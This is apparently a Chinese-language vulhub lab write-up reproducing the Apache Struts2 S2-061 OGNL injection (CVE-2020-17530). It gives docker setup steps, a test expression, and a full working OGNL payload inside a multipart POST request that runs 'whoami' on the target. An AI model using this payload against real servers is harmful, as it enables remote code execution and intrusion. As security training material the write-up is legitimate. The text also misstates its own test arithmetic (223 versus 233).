【vulhub】Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530）

前言

Apache Struts框架, 会对某些特定的标签的属性值，比如id属性进行二次解析，所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式，造成OGNL表达式注入。从而可能造成远程执行代码。

一、启动靶机

docker-compose build

docker-compose up -d

二、构造payload

%25{(223*223)}

view-source:http://192.168.150.146:8080/index.action?id=%25{(223*223)}

访问 view-source:http://192.168.150.146:8080/index.action?id=%25{(223*223)}，可以发现233*233的结果被解析到了id属性中：

访问http://192.168.150.146:8080/index.action?id=1，改换POST方法，然后改变body encoding。

(#arglist.add(“id”))中为执行命令

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

将POST Content替换为上面payload
请求：

POST /index.action HTTP/1.1
Host: 192.168.150.146:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; cZZ_visitedfid=2; cZZ_sid=i4JJSc; JSESSIONID=node04ktcvvnsf8cb1qpwk658y2ajo0.node0
Connection: close
Content-Type: multipart/form-data; boundary=--------352899813
Content-Length: 793

----------352899813
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

----------352899813--

三、发送payload

参考：

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md

最后

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